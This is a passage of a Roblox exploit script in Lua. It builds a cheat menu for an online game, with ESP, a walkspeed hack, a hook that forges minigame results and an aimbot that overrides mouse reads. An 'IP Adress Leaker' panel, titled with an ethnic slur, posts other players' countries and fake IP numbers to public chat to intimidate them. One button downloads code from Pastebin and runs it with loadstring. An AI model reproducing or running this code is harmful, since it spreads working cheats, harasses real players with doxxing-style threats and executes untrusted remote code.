6077 LayoutOrder = i;
6078 BackgroundColor3 = library.options.btncolor;
6079 ZIndex = 2;
6080 })
6081
6082 button.MouseButton1Click:connect(function()
6083 busy = true;
6084 box:FindFirstChild('Box').Text = button.Text;
6085 wait();
6086 busy = false;
6087
6088 location[flag] = button.Text;
6089 callback(location[flag])
6090
6091 box:FindFirstChild('Box').Container.ScrollBarThickness = 0
6092 for i, child in next, box:FindFirstChild('Box').Container:GetChildren() do
6093 if (not child:IsA('UIListLayout')) then
6094 child:Destroy();
6095 end
6096 end
6097 box:FindFirstChild('Box').Container:TweenSize(UDim2.new(1, 0, 0, 0), 'Out', 'Quad', 0.25, true)
6098 end)
6099 end
6100 end
6101 end
6102
6103 local c = box:FindFirstChild('Box').Container:GetChildren()
6104 local ry = (20 * (#c)) - 20
6105
6106 local y = math.clamp((20 * (#c)) - 20, 0, 100)
6107 if ry > 100 then
6108 box:FindFirstChild('Box').Container.ScrollBarThickness = 5;
6109 end
6110
6111 box:FindFirstChild('Box').Container:TweenSize(UDim2.new(1, 0, 0, y), 'Out', 'Quad', 0.25, true)
6112 box:FindFirstChild('Box').Container.CanvasSize = UDim2.new(1, 0, 0, (20 * (#c)) - 20)
6113 end
6114
6115 box:FindFirstChild('Box'):GetPropertyChangedSignal('Text'):connect(function()
6116 if (not busy) then
6117 rebuild(box:FindFirstChild('Box').Text)
6118 end
6119 end);
6120
6121 local function reload(new_list)
6122 list = new_list;
6123 rebuild("")
6124 end
6125 self:Resize();
6126 return reload, box:FindFirstChild('Box');
6127 end
6128
6129 function types:Dropdown(name, options, callback)
6130 local location = options.location or self.flags;
6131 local flag = options.flag or "";
6132 local callback = callback or function() end;
6133 local list = options.list or {};
6134
6135 location[flag] = list[1]
6136 local check = library:Create('Frame', {
6137 BackgroundTransparency = 1;
6138 Size = UDim2.new(1, 0, 0, 25);
6139 BackgroundColor3 = Color3.fromRGB(25, 25, 25);
6140 BorderSizePixel = 0;
6141 LayoutOrder = self:GetOrder();
6142 library:Create('Frame', {
6143 Name = 'dropdown_lbl';
6144 BackgroundTransparency = 0;
6145 BackgroundColor3 = library.options.dropcolor;
6146 Position = UDim2.new(0, 5, 0, 4);
6147 BorderColor3 = library.options.bordercolor;
6148 Size = UDim2.new(1, -10, 0, 20);
6149 library:Create('TextLabel', {
6150 Name = 'Selection';
6151 Size = UDim2.new(1, 0, 1, 0);
6152 Text = list[1];
6153 TextColor3 = library.options.textcolor;
6154 BackgroundTransparency = 1;
6155 Font = library.options.font;
6156 TextSize = library.options.fontsize;
6157 TextStrokeTransparency = library.options.textstroke;
6158 TextStrokeColor3 = library.options.strokecolor;
6159 });
6160 library:Create("TextButton", {
6161 Name = 'drop';
6162 BackgroundTransparency = 1;
6163 Size = UDim2.new(0, 20, 1, 0);
6164 Position = UDim2.new(1, -25, 0, 0);
6165 Text = 'v';
6166 TextColor3 = library.options.textcolor;
6167 Font = library.options.font;
6168 TextSize = library.options.fontsize;
6169 TextStrokeTransparency = library.options.textstroke;
6170 TextStrokeColor3 = library.options.strokecolor;
6171 })
6172 });
6173 Parent = self.container;
6174 });
6175
6176 local button = check:FindFirstChild('dropdown_lbl').drop;
6177 local input;
6178
6179 button.MouseButton1Click:connect(function()
6180 if (input and input.Connected) then
6181 return
6182 end
6183
6184 check:FindFirstChild('dropdown_lbl'):WaitForChild('Selection').TextColor3 = Color3.fromRGB(60, 60, 60);
6185 check:FindFirstChild('dropdown_lbl'):WaitForChild('Selection').Text = name;
6186 local c = 0;
6187 for i, v in next, list do
6188 c = c + 20;
6189 end
6190
6191 local size = UDim2.new(1, 0, 0, c)
6192
6193 local clampedSize;
6194 local scrollSize = 0;
6195 if size.Y.Offset > 100 then
6196 clampedSize = UDim2.new(1, 0, 0, 100)
6197 scrollSize = 5;
6198 end
6199
6200 local goSize = (clampedSize ~= nil and clampedSize) or size;
6201 local container = library:Create('ScrollingFrame', {
6202 TopImage = 'rbxasset://textures/ui/Scroll/scroll-middle.png';
6203 BottomImage = 'rbxasset://textures/ui/Scroll/scroll-middle.png';
6204 Name = 'DropContainer';
6205 Parent = check:FindFirstChild('dropdown_lbl');
6206 Size = UDim2.new(1, 0, 0, 0);
6207 BackgroundColor3 = library.options.bgcolor;
6208 BorderColor3 = library.options.bordercolor;
6209 Position = UDim2.new(0, 0, 1, 0);
6210 ScrollBarThickness = scrollSize;
6211 CanvasSize = UDim2.new(0, 0, 0, size.Y.Offset);
6212 ZIndex = 5;
6213 ClipsDescendants = true;
6214 library:Create('UIListLayout', {
6215 Name = 'List';
6216 SortOrder = Enum.SortOrder.LayoutOrder
6217 })
6218 })
6219
6220 for i, v in next, list do
6221 local btn = library:Create('TextButton', {
6222 Size = UDim2.new(1, 0, 0, 20);
6223 BackgroundColor3 = library.options.btncolor;
6224 BorderColor3 = library.options.bordercolor;
6225 Text = v;
6226 Font = library.options.font;
6227 TextSize = library.options.fontsize;
6228 LayoutOrder = i;
6229 Parent = container;
6230 ZIndex = 5;
6231 TextColor3 = library.options.textcolor;
6232 TextStrokeTransparency = library.options.textstroke;
6233 TextStrokeColor3 = library.options.strokecolor;
6234 })
6235
6236 btn.MouseButton1Click:connect(function()
6237 check:FindFirstChild('dropdown_lbl'):WaitForChild('Selection').TextColor3 = library.options.textcolor
6238 check:FindFirstChild('dropdown_lbl'):WaitForChild('Selection').Text = btn.Text;
6239
6240 location[flag] = tostring(btn.Text);
6241 callback(location[flag])
6242
6243 game:GetService('Debris'):AddItem(container, 0)
6244 input:disconnect();
6245 end)
6246 end
6247
6248 container:TweenSize(goSize, 'Out', 'Quad', 0.15, true)
6249
6250 local function isInGui(frame)
6251 local mloc = game:GetService('UserInputService'):GetMouseLocation();
6252 local mouse = Vector2.new(mloc.X, mloc.Y - 36);
6253
6254 local x1, x2 = frame.AbsolutePosition.X, frame.AbsolutePosition.X + frame.AbsoluteSize.X;
6255 local y1, y2 = frame.AbsolutePosition.Y, frame.AbsolutePosition.Y + frame.AbsoluteSize.Y;
6256
6257 return (mouse.X >= x1 and mouse.X <= x2) and (mouse.Y >= y1 and mouse.Y <= y2)
6258 end
6259
6260 input = game:GetService('UserInputService').InputBegan:connect(function(a)
6261 if a.UserInputType == Enum.UserInputType.MouseButton1 and (not isInGui(container)) then
6262 check:FindFirstChild('dropdown_lbl'):WaitForChild('Selection').TextColor3 = library.options.textcolor
6263 check:FindFirstChild('dropdown_lbl'):WaitForChild('Selection').Text = location[flag];
6264
6265 container:TweenSize(UDim2.new(1, 0, 0, 0), 'In', 'Quad', 0.15, true)
6266 wait(0.15)
6267
6268 game:GetService('Debris'):AddItem(container, 0)
6269 input:disconnect();
6270 end
6271 end)
6272 end)
6273
6274 self:Resize();
6275 local function reload(self, array)
6276 options = array;
6277 location[flag] = array[1];
6278 pcall(function()
6279 input:disconnect()
6280 end)
6281 check:WaitForChild('dropdown_lbl').Selection.Text = location[flag]
6282 check:FindFirstChild('dropdown_lbl'):WaitForChild('Selection').TextColor3 = library.options.textcolor
6283 game:GetService('Debris'):AddItem(container, 0)
6284 end
6285
6286 return {
6287 Refresh = reload;
6288 }
6289 end
6290 end
6291
6292 function library:Create(class, data)
6293 local obj = Instance.new(class);
6294 for i, v in next, data do
6295 if i ~= 'Parent' then
6296
6297 if typeof(v) == "Instance" then
6298 v.Parent = obj;
6299 else
6300 obj[i] = v
6301 end
6302 end
6303 end
6304
6305 obj.Parent = data.Parent;
6306 return obj
6307 end
6308
6309 function library:CreateWindow(name, options)
6310 if (not library.container) then
6311 library.container = self:Create("ScreenGui", {
6312 self:Create('Frame', {
6313 Name = 'Container';
6314 Size = UDim2.new(1, -30, 1, 0);
6315 Position = UDim2.new(0, 20, 0, 20);
6316 BackgroundTransparency = 1;
6317 Active = false;
6318 });
6319 Parent = game:GetService("CoreGui");
6320 }):FindFirstChild('Container');
6321 end
6322
6323 if (not library.options) then
6324 library.options = setmetatable(options or {}, {__index = defaults})
6325 end
6326
6327 local window = types.window(name, library.options);
6328 dragger.new(window.object);
6329 return window
6330 end
6331
6332 default = {
6333 topcolor = Color3.fromRGB(30, 30, 30);
6334 titlecolor = Color3.fromRGB(255, 255, 255);
6335
6336 underlinecolor = "rainbow";
6337 bgcolor = Color3.fromRGB(35, 35, 35);
6338 boxcolor = Color3.fromRGB(35, 35, 35);
6339 btncolor = Color3.fromRGB(25, 25, 25);
6340 dropcolor = Color3.fromRGB(25, 25, 25);
6341 sectncolor = Color3.fromRGB(25, 25, 25);
6342 bordercolor = Color3.fromRGB(60, 60, 60);
6343
6344 font = Enum.Font.SourceSans;
6345 titlefont = Enum.Font.Code;
6346
6347 fontsize = 17;
6348 titlesize = 18;
6349
6350 textstroke = 1;
6351 titlestroke = 1;
6352
6353 strokecolor = Color3.fromRGB(0, 0, 0);
6354
6355 textcolor = Color3.fromRGB(255, 255, 255);
6356 titletextcolor = Color3.fromRGB(255, 255, 255);
6357
6358 placeholdercolor = Color3.fromRGB(255, 255, 255);
6359 titlestrokecolor = Color3.fromRGB(0, 0, 0);
6360 }
6361
6362 library.options = setmetatable({}, {__index = default})
6363
6364 spawn(function()
6365 while true do
6366 for i=0, 1, 1 / 300 do
6367 for _, obj in next, library.rainbowtable do
6368 obj.BackgroundColor3 = Color3.fromHSV(i, 1, 1);
6369 end
6370 wait()
6371 end;
6372 end
6373 end)
6374
6375 local function isreallypressed(bind, inp)
6376 local key = bind
6377 if typeof(key) == "Instance" then
6378 if key.UserInputType == Enum.UserInputType.Keyboard and inp.KeyCode == key.KeyCode then
6379 return true;
6380 elseif tostring(key.UserInputType):find('MouseButton') and inp.UserInputType == key.UserInputType then
6381 return true
6382 end
6383 end
6384 if tostring(key):find'MouseButton1' then
6385 return key == inp.UserInputType
6386 else
6387 return key == inp.KeyCode
6388 end
6389 end
6390
6391 game:GetService("UserInputService").InputBegan:connect(function(input)
6392 if (not library.binding) then
6393 for idx, binds in next, library.binds do
6394 local real_binding = binds.location[idx];
6395 if real_binding and isreallypressed(real_binding, input) then
6396 binds.callback()
6397 end
6398 end
6399 end
6400 end)
6401end
6402
6403
6404local w = library:CreateWindow('FTF')
6405
6406w:Section('Cheats')
6407local t = w:Toggle('Never Fail Hacking', {location = _G; flag = "nfh"})
6408local t3 = w:Toggle('No Ragdoll', {location = _G; flag = "nr"})
6409local t2 = w:Toggle('ESP', {location = _G; flag = "esptoggle"})
6410
6411w:Section('Tools')
6412local b = w:Button("Unlock Camera", function()
6413workspace.CurrentCamera:remove()
6414wait(0.1)
6415workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
6416workspace.CurrentCamera.CameraType = "Custom"
6417game.Players.LocalPlayer.CameraMinZoomDistance = 0.5
6418game.Players.LocalPlayer.CameraMaxZoomDistance = 400
6419game.Players.LocalPlayer.CameraMode = "Classic"
6420end)
6421
6422local s = w:Slider("Walkspeed", {
6423 min = 16;
6424 max = 80;
6425 flag = 'ws'
6426}, function(newws)
6427 game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = newws;
6428end)
6429
6430spawn(function()
6431local mt = getrawmetatable(game)
6432make_writeable(mt)
6433local namecall = mt.__namecall
6434mt.__namecall = newcclosure(function(self, ...)
6435local method = getnamecallmethod()
6436local args = {...}
6437if method == "FireServer" and args[1] == "SetPlayerMinigameResult" and args[2] == false then
6438if _G.nfh == true then
6439for i=1,50 do
6440game.ReplicatedStorage.RemoteEvent:FireServer("SetPlayerMinigameResult",true)
6441wait()
6442end
6443end
6444end
6445return namecall(self, ...)
6446end)
6447end)
6448spawn(function()
6449while wait(2) do
6450if _G.nr == true and game.Players.LocalPlayer.Character:findFirstChild("Ragdoller") then
6451game.Players.LocalPlayer.Character.Ragdoller:remove()
6452end
6453end
6454end)
6455spawn(function()
6456function CreateESPPart(BodyPart,r,g,b)
6457local ESPPartparent = BodyPart
6458local Box = Instance.new("BoxHandleAdornment")
6459Box.Size = BodyPart.Size + Vector3.new(0.1, 0.1, 0.1)
6460Box.Name = "ESPPart"
6461Box.Adornee = ESPPartparent
6462Box.Color3 = Color3.fromRGB(r,g,b)
6463Box.AlwaysOnTop = true
6464Box.ZIndex = 5
6465Box.Transparency = 0.8
6466Box.Parent = BodyPart
6467Box.Visible = true
6468end
6469function loadCheck(plr,chr)
6470if chr:findFirstChild("Humanoid") then
6471local part = chr:getChildren()
6472for i=1,#part do
6473if part[i].ClassName == "Part" then
6474if _G.esptoggle == true then
6475CreateESPPart(part[i], 0,255,0)
6476end
6477spawn(function()
6478while true do
6479wait(0.1)
6480if plr:findFirstChild("TempPlayerStatsModule") then
6481if plr.TempPlayerStatsModule.IsBeast.Value then
6482if part[i]:findFirstChild("ESPPart") then
6483part[i].ESPPart:remove()
6484end
6485if _G.esptoggle == true then
6486CreateESPPart(part[i], 255,0,0)
6487end
6488else
6489if part[i]:findFirstChild("ESPPart") then
6490part[i].ESPPart:remove()
6491end
6492if _G.esptoggle == true then
6493CreateESPPart(part[i], 0,255,0)
6494end
6495end
6496end
6497end
6498end)
6499end
6500end
6501end
6502end
6503local player = game.Players:GetChildren()
6504for i=1,#player do
6505if player[i].Name == game.Players.LocalPlayer.Name then
6506else
6507player[i].CharacterAdded:Connect(function(character)
6508wait(0.5)
6509loadCheck(player[i],player[i].Character)
6510end)
6511loadCheck(player[i],player[i].Character)
6512end
6513end
6514game.Players.PlayerAdded:Connect(function(player)
6515player.CharacterAdded:Connect(function(character)
6516wait(0.5)
6517loadCheck(player,character)
6518end)
6519end)
6520end)
6521spawn(function()
6522while wait(0.5) do
6523game.Lighting.FogEnd = 10000000
6524local w = workspace:getDescendants()
6525for i=1,#w do
6526if w[i].ClassName == "Part" then
6527if w[i].Name == "PodTrigger" then
6528local stuff = w[i].Parent:getChildren()
6529for i=1,#stuff do
6530if stuff[i].ClassName == "Part" then
6531if stuff[i].Transparency ~= 1 then
6532if stuff[i]:findFirstChild("ESPPart") then
6533if _G.esptoggle == true then
6534stuff[i]["ESPPart"].Visible = true
6535else
6536stuff[i]["ESPPart"].Visible = false
6537end
6538else
6539local Box = Instance.new("BoxHandleAdornment")
6540Box.Size = stuff[i].Size
6541Box.Name = "ESPPart"
6542Box.Adornee = stuff[i]
6543Box.Color3 = Color3.fromRGB(0,0,255)
6544Box.AlwaysOnTop = true
6545Box.ZIndex = 5
6546Box.Transparency = 0.8
6547Box.Parent = stuff[i]
6548end
6549end
6550end
6551end
6552end
6553end
6554if w[i].Name == "Screen" then
6555local screen = w[i]
6556local stuff = w[i].Parent:getChildren()
6557for i=1,#stuff do
6558if stuff[i].ClassName == "Part" then
6559if stuff[i].Transparency ~= 1 then
6560if stuff[i]:findFirstChild("ESPPart") then
6561if _G.esptoggle == true then
6562stuff[i]["ESPPart"].Visible = true
6563else
6564stuff[i]["ESPPart"].Visible = false
6565end
6566else
6567local Box = Instance.new("BoxHandleAdornment")
6568Box.Size = stuff[i].Size
6569Box.Name = "ESPPart"
6570Box.Adornee = stuff[i]
6571Box.Color3 = Color3.fromRGB(100,100,255)
6572Box.AlwaysOnTop = true
6573Box.ZIndex = 5
6574Box.Transparency = 0.8
6575Box.Parent = stuff[i]
6576spawn(function()
6577while screen ~= nil do
6578Box.Color3 = screen.Color
6579wait(0.5)
6580end
6581end)
6582end
6583end
6584end
6585end
6586end
6587end
6588end
6589end)
6590end)
6591
6592KATAimbot.Name = "KATAimbot"
6593KATAimbot.Parent = main
6594KATAimbot.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
6595KATAimbot.Position = UDim2.new(0.27976501, 0, 0.514295936, 0)
6596KATAimbot.Size = UDim2.new(0, 55, 0, 25)
6597KATAimbot.Font = Enum.Font.SourceSans
6598KATAimbot.Text = "KAT Aimbot"
6599KATAimbot.TextColor3 = Color3.fromRGB(0, 0, 0)
6600KATAimbot.TextSize = 13.000
6601KATAimbot.MouseButton1Down:connect(function()
6602local localPlayer = game:GetService("Players").LocalPlayer
6603local currentCamera = game:GetService("Workspace").CurrentCamera
6604local mouse = localPlayer:GetMouse()
6605
6606local function getClosestPlayerToCursor(x, y)
6607 local closestPlayer = nil
6608 local shortestDistance = math.huge
6609
6610 for i, v in pairs(game:GetService("Players"):GetPlayers()) do
6611 if v ~= localPlayer and v.Character and v.Character:FindFirstChild("Humanoid") and v.Character.Humanoid.Health ~= 0 and v.Character:FindFirstChild("HumanoidRootPart") and v.Character:FindFirstChild("Torso") then
6612 local pos = currentCamera:WorldToViewportPoint(v.Character.HumanoidRootPart.Position)
6613 local magnitude = (Vector2.new(pos.X, pos.Y) - Vector2.new(x, y)).magnitude
6614
6615 if magnitude < shortestDistance then
6616 closestPlayer = v
6617 shortestDistance = magnitude
6618 end
6619end
6620 end
6621
6622 return closestPlayer
6623end
6624
6625local mt = getrawmetatable(game)
6626local oldIndex = mt.__index
6627if setreadonly then setreadonly(mt, false) else make_writeable(mt, true) end
6628local newClose = newcclosure or function(f) return f end
6629
6630mt.__index = newClose(function(t, k)
6631 if not checkcaller() and t == mouse and tostring(k) == "X" and string.find(getfenv(2).script.Name, "Client") and getClosestPlayerToCursor() then
6632 local closest = getClosestPlayerToCursor(oldIndex(t, k), oldIndex(t, "Y")).Character.Torso
6633 local pos = currentCamera:WorldToScreenPoint(closest.Position)
6634 return pos.X
6635 end
6636 if not checkcaller() and t == mouse and tostring(k) == "Y" and string.find(getfenv(2).script.Name, "Client") and getClosestPlayerToCursor() then
6637 local closest = getClosestPlayerToCursor(oldIndex(t, "X"), oldIndex(t, k)).Character.Torso
6638 local pos = currentCamera:WorldToScreenPoint(closest.Position)
6639 return pos.Y
6640 end
6641 if t == mouse and tostring(k) == "Hit" and string.find(getfenv(2).script.Name, "Client") and getClosestPlayerToCursor() then
6642 return getClosestPlayerToCursor(mouse.X, mouse.Y).Character.Torso.CFrame
6643 end
6644
6645 return oldIndex(t, k)
6646end)
6647
6648if setreadonly then setreadonly(mt, true) else make_writeable(mt, false) end
6649end)
6650
6651LeakCountryAndIP.Name = "LeakCountryAndIP"
6652LeakCountryAndIP.Parent = main
6653LeakCountryAndIP.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
6654LeakCountryAndIP.Position = UDim2.new(0.0189836491, 0, 0.517164707, 0)
6655LeakCountryAndIP.Size = UDim2.new(0, 88, 0, 25)
6656LeakCountryAndIP.Font = Enum.Font.SourceSans
6657LeakCountryAndIP.Text = "LeakCountryAndIP"
6658LeakCountryAndIP.TextColor3 = Color3.fromRGB(0, 0, 0)
6659LeakCountryAndIP.TextSize = 11.000
6660LeakCountryAndIP.MouseButton1Down:connect(function()
6661local ScreenGui = Instance.new("ScreenGui")
6662local MainFrame = Instance.new("Frame")
6663local Head = Instance.new("ImageLabel")
6664local TextLabel = Instance.new("TextLabel")
6665local Moto = Instance.new("TextLabel")
6666local CreditsToggle = Instance.new("TextButton")
6667local Donate = Instance.new("TextButton")
6668local RecieptText = Instance.new("TextLabel")
6669local ToggleAdress = Instance.new("TextButton")
6670local TextButton_Roundify_12px = Instance.new("ImageLabel")
6671local ToggleAnim = Instance.new("TextButton")
6672local TextButton_Roundify_12px_2 = Instance.new("ImageLabel")
6673local Admin = Instance.new("TextButton")
6674local TextButton_Roundify_12px_3 = Instance.new("ImageLabel")
6675local Close = Instance.new("TextButton")
6676local Close_Roundify_12px = Instance.new("ImageLabel")
6677local CredFrame = Instance.new("Frame")
6678local Title = Instance.new("TextLabel")
6679local ProfileImage = Instance.new("ImageLabel")
6680local Name = Instance.new("TextLabel")
6681local Par1 = Instance.new("TextLabel")
6682local Par2 = Instance.new("TextLabel")
6683local backButton = Instance.new("TextButton")
6684local Arrow = Instance.new("ImageLabel")
6685local ButtonSound = Instance.new("Sound")
6686local PartySound = Instance.new("Sound")
6687ButtonSound.Name = "click"
6688local mps = game:GetService("MarketplaceService")
6689local gamepass_id = 10323924
6690
6691--Properties:
6692
6693ScreenGui.Parent = game.CoreGui
6694
6695ButtonSound.Parent = ScreenGui
6696ButtonSound.SoundId = "rbxassetid://3194643942"
6697ButtonSound.Looped = false
6698ButtonSound.Volume = 0.6
6699
6700MainFrame.Name = "MainFrame"
6701MainFrame.Parent = ScreenGui
6702MainFrame.Active = true
6703MainFrame.AnchorPoint = Vector2.new(0.5, 0.5)
6704MainFrame.BackgroundColor3 = Color3.fromRGB(56, 56, 56)
6705MainFrame.BorderSizePixel = 4
6706MainFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
6707MainFrame.Size = UDim2.new(0, 500, 0, 250)
6708MainFrame.Draggable = true
6709
6710Head.Name = "Head"
6711Head.Parent = MainFrame
6712Head.Active = true
6713Head.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6714Head.BorderSizePixel = 4
6715Head.Size = UDim2.new(0, 500, 0, 35)
6716Head.Image = "rbxassetid://707641468"
6717Head.ScaleType = Enum.ScaleType.Crop
6718
6719TextLabel.Parent = Head
6720TextLabel.AnchorPoint = Vector2.new(0.5, 0)
6721TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6722TextLabel.BackgroundTransparency = 1.000
6723TextLabel.Position = UDim2.new(0.5, 0, 0, 0)
6724TextLabel.Size = UDim2.new(0, 500, 0, 35)
6725TextLabel.Font = Enum.Font.SourceSans
6726TextLabel.Text = "Chinese Fucker"
6727TextLabel.TextColor3 = Color3.fromRGB(7, 158, 7)
6728TextLabel.TextScaled = true
6729TextLabel.TextSize = 14.000
6730TextLabel.TextStrokeTransparency = 0.000
6731TextLabel.TextWrapped = true
6732
6733Moto.Name = "Moto"
6734Moto.Parent = MainFrame
6735Moto.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6736Moto.BackgroundTransparency = 1.000
6737Moto.Position = UDim2.new(0, 0, 0.919999957, 0)
6738Moto.Size = UDim2.new(0, 500, 0, 20)
6739Moto.Font = Enum.Font.Cartoon
6740Moto.Text = "The ultimate hacker troll gui!"
6741Moto.TextColor3 = Color3.fromRGB(0, 0, 0)
6742Moto.TextScaled = true
6743Moto.TextSize = 14.000
6744Moto.TextWrapped = true
6745
6746CreditsToggle.Name = "CreditsToggle"
6747CreditsToggle.Parent = MainFrame
6748CreditsToggle.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6749CreditsToggle.Position = UDim2.new(0.900000036, 0, 0.860000014, 0)
6750CreditsToggle.Size = UDim2.new(0, 50, 0, 35)
6751CreditsToggle.Style = Enum.ButtonStyle.RobloxRoundDefaultButton
6752CreditsToggle.Font = Enum.Font.SourceSansBold
6753CreditsToggle.Text = "Credits"
6754CreditsToggle.TextColor3 = Color3.fromRGB(0, 0, 0)
6755CreditsToggle.TextSize = 14.000
6756CreditsToggle.MouseButton1Down:Connect(function()
6757 ButtonSound:Play()
6758 CredFrame.Visible = true
6759 wait(0.1)
6760 MainFrame.Visible = false
6761end)
6762
6763Donate.Name = "Donate"
6764Donate.Parent = MainFrame
6765Donate.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6766Donate.Position = UDim2.new(5.96046448e-08, 0, 0.860000014, 0)
6767Donate.Size = UDim2.new(0, 50, 0, 35)
6768Donate.Style = Enum.ButtonStyle.RobloxRoundDefaultButton
6769Donate.Font = Enum.Font.SourceSansBold
6770Donate.Text = "Donate"
6771Donate.TextColor3 = Color3.fromRGB(0, 0, 0)
6772Donate.TextSize = 14.000
6773Donate.MouseButton1Down:Connect(function()
6774 ButtonSound:Play()
6775 local player = game.Players.LocalPlayer
6776 mps:PromptGamePassPurchase(player, gamepass_id)
6777end)
6778
6779RecieptText.Name = "RecieptText"
6780RecieptText.Parent = MainFrame
6781RecieptText.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
6782RecieptText.BackgroundTransparency = 0.800
6783RecieptText.BorderSizePixel = 3
6784RecieptText.Position = UDim2.new(0, 0, 0.400000006, 0)
6785RecieptText.Size = UDim2.new(0, 500, 0, 35)
6786RecieptText.Visible = false
6787RecieptText.Font = Enum.Font.Bodoni
6788RecieptText.Text = "Thank you for donating!"
6789RecieptText.TextColor3 = Color3.fromRGB(0, 0, 0)
6790RecieptText.TextSize = 32.000
6791RecieptText.TextWrapped = true
6792
6793ToggleAdress.Name = "ToggleAdress"
6794ToggleAdress.Parent = MainFrame
6795ToggleAdress.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6796ToggleAdress.BackgroundTransparency = 1.000
6797ToggleAdress.BorderSizePixel = 0
6798ToggleAdress.Position = UDim2.new(0.100000001, 0, 0.328000009, 0)
6799ToggleAdress.Size = UDim2.new(0, 85, 0, 85)
6800ToggleAdress.ZIndex = 2
6801ToggleAdress.Font = Enum.Font.SourceSansBold
6802ToggleAdress.Text = "IP Adress Leaker"
6803ToggleAdress.TextColor3 = Color3.fromRGB(0, 177, 0)
6804ToggleAdress.TextSize = 23.000
6805ToggleAdress.TextStrokeTransparency = 0.000
6806ToggleAdress.TextTransparency = 0.600
6807ToggleAdress.TextWrapped = true
6808ToggleAdress.MouseButton1Down:Connect(function()
6809 ButtonSound:Play()
6810 _G.ass = {}
6811for _,v in pairs(game:GetService("Players"):GetPlayers()) do
6812 if v.Name ~= game:GetService("Players").LocalPlayer.Name then
6813 local Thing = game:GetService("HttpService"):JSONDecode(game:HttpGet("http://country.io/names.json"))
6814 local ParsedCountry = Thing[gethiddenproperty(v, "CountryRegionCodeReplicate")]
6815 local SayMessageRequest = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
6816 SayMessageRequest:FireServer(
6817 v.Name.." is from "..tostring(ParsedCountry).." ".."Num: "..math.random(1,200).."."..math.random(1,200)..".".."######".." ".."(IP: Successfully Listed)",
6818 "All"
6819 )
6820 wait(2)
6821 end
6822end
6823 for i = 1,5 do
6824 local SayMessageRequest1 = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
6825 SayMessageRequest1:FireServer(
6826 "Information Leaking Status: Working..",
6827 "All"
6828 )
6829 wait(1)
6830 end
6831 wait(5)
6832 local SayMessageRequest2 = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
6833 SayMessageRequest2:FireServer(
6834 "Information Leaking Status: Successfully Leaked!",
6835 "All"
6836 )
6837end)
6838
6839TextButton_Roundify_12px.Name = "TextButton_Roundify_12px"
6840TextButton_Roundify_12px.Parent = ToggleAdress
6841TextButton_Roundify_12px.Active = true
6842TextButton_Roundify_12px.AnchorPoint = Vector2.new(0.5, 0.5)
6843TextButton_Roundify_12px.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6844TextButton_Roundify_12px.BackgroundTransparency = 1.000
6845TextButton_Roundify_12px.Position = UDim2.new(0.5, 0, 0.5, 0)
6846TextButton_Roundify_12px.Selectable = true
6847TextButton_Roundify_12px.Size = UDim2.new(1, 0, 1, 0)
6848TextButton_Roundify_12px.Image = "rbxassetid://3570695787"
6849TextButton_Roundify_12px.ImageColor3 = Color3.fromRGB(90, 90, 90)
6850TextButton_Roundify_12px.ScaleType = Enum.ScaleType.Slice
6851TextButton_Roundify_12px.SliceCenter = Rect.new(100, 100, 100, 100)
6852TextButton_Roundify_12px.SliceScale = 0.120
6853
6854ToggleAnim.Name = "ToggleAnim"
6855ToggleAnim.Parent = MainFrame
6856ToggleAnim.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6857ToggleAnim.BackgroundTransparency = 1.000
6858ToggleAnim.BorderSizePixel = 0
6859ToggleAnim.Position = UDim2.new(0.414000005, 0, 0.328000009, 0)
6860ToggleAnim.Size = UDim2.new(0, 85, 0, 85)
6861ToggleAnim.ZIndex = 2
6862ToggleAnim.Font = Enum.Font.SourceSansBold
6863ToggleAnim.Text = "Hacker Animation [r6]"
6864ToggleAnim.TextColor3 = Color3.fromRGB(0, 177, 0)
6865ToggleAnim.TextSize = 19.000
6866ToggleAnim.TextStrokeTransparency = 0.000
6867ToggleAnim.TextTransparency = 0.600
6868ToggleAnim.TextWrapped = true
6869ToggleAnim.MouseButton1Down:Connect(function()
6870 ButtonSound:Play()
6871 loadstring(game:HttpGet('https://pastebin.com/raw/3HEkCX6i'))()
6872end)
6873
6874TextButton_Roundify_12px_2.Name = "TextButton_Roundify_12px"
6875TextButton_Roundify_12px_2.Parent = ToggleAnim
6876TextButton_Roundify_12px_2.Active = true
6877TextButton_Roundify_12px_2.AnchorPoint = Vector2.new(0.5, 0.5)
6878TextButton_Roundify_12px_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6879TextButton_Roundify_12px_2.BackgroundTransparency = 1.000
6880TextButton_Roundify_12px_2.Position = UDim2.new(0.5, 0, 0.5, 0)
6881TextButton_Roundify_12px_2.Selectable = true
6882TextButton_Roundify_12px_2.Size = UDim2.new(1, 0, 1, 0)
6883TextButton_Roundify_12px_2.Image = "rbxassetid://3570695787"
6884TextButton_Roundify_12px_2.ImageColor3 = Color3.fromRGB(90, 90, 90)
6885TextButton_Roundify_12px_2.ScaleType = Enum.ScaleType.Slice
6886TextButton_Roundify_12px_2.SliceCenter = Rect.new(100, 100, 100, 100)
6887TextButton_Roundify_12px_2.SliceScale = 0.120
6888
6889Admin.Name = "Admin"
6890Admin.Parent = MainFrame
6891Admin.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
6892Admin.BackgroundTransparency = 1.000
6893Admin.BorderSizePixel = 0
6894Admin.Position = UDim2.new(0.730000019, 0, 0.328000009, 0)
6895Admin.Size = UDim2.new(0, 85, 0, 85)
6896Admin.ZIndex = 2
6897Admin.Font = Enum.Font.SourceSansBold
6898Admin.Text = "Give Admin"
6899Admin.TextColor3 = Color3.fromRGB(0, 177, 0)
6900Admin.TextSize = 21.000
6901Admin.TextStrokeTransparency = 0.000
6902Admin.TextTransparency = 0.600
6903Admin.TextWrapped = true
6904Admin.MouseButton1Down:Connect(function()
6905 ButtonSound:Play()
